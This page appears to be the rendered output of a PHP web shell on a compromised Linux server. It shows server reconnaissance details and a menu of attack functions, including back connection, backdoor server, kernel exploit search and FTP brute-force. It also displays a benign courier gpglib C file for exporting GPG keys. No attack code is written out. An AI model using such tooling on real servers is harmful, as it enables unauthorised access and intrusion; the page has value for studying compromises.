|
System | : | Linux MiraNet 3.0.0-14-generic-pae #23-Ubuntu SMP Mon Nov 21 22:07:10 UTC 2011 i686 |
Software | : | Apache. PHP/5.3.6-13ubuntu3.10 |
ID | : | uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
|
|
Safe Mode | : | OFF |
Open_Basedir | : | OFF |
Freespace | : | 27.39 GB of 70.42 GB (38.9%) |
|
MySQL: ON MSSQL: OFF Oracle: OFF PostgreSQL: OFF Curl: OFF Sockets: ON Fetch: OFF Wget: ON Perl: ON |
Disabled Functions: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
|
[ System Info ]
[ Processes ]
[ SQL Manager ]
[ Eval ]
[ Encoder ]
[ Mailer ]
[ Back Connection ]
[ Backdoor Server ]
[ Kernel Exploit Search ]
[ MD5 Decrypter ]
[ Reverse IP ]
[ Kill Shell ]
[ FTP Brute-Force ]
|
|
/
usr/
src/
courier-0.66.1/
gpglib/
- drwxrwxrwx
|
Viewing file: export.c (1.23 KB) -rw-rw-rw-Select action/file-type:  ( +) |  ( +) |  ( +) | Code ( +) | Session ( +) |  ( +) | SDB ( +) |  ( +) |  ( +) |  ( +) |  ( +) |  ( +) |
/* ** Copyright 2001-2003 Double Precision, Inc. See COPYING for ** distribution information. */
#include "config.h" #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <signal.h> #include <errno.h> #include <sys/types.h> #include <sys/stat.h> #include <sys/time.h>
#include "gpg.h" #include "gpglib.h"
#include "unicode/unicode.h" #include "numlib/numlib.h"
extern int libmail_gpg_stdin, libmail_gpg_stdout, libmail_gpg_stderr; extern pid_t libmail_gpg_pid;
/* ** List keys */
int libmail_gpg_exportkey(const char *gpgdir, int secret, const char *fingerprint, int (*out_func)(const char *, size_t, void *), int (*err_func)(const char *, size_t, void *), void *voidarg) { char *argvec[6]; int rc;
argvec[0]="gpg"; argvec[1]="--armor"; argvec[2]="--no-tty"; argvec[3]= secret ? "--export-secret-keys":"--export"; argvec[4]=(char *)fingerprint; argvec[5]=0;
if (libmail_gpg_fork(&libmail_gpg_stdin, &libmail_gpg_stdout, &libmail_gpg_stderr, gpgdir, argvec) < 0) rc= -1; else { int rc2;
close(libmail_gpg_stdin); libmail_gpg_stdin=-1;
rc=libmail_gpg_read(out_func, err_func, NULL, 0, voidarg); rc2=libmail_gpg_cleanup(); if (rc2) rc=rc2; } return (rc); }
|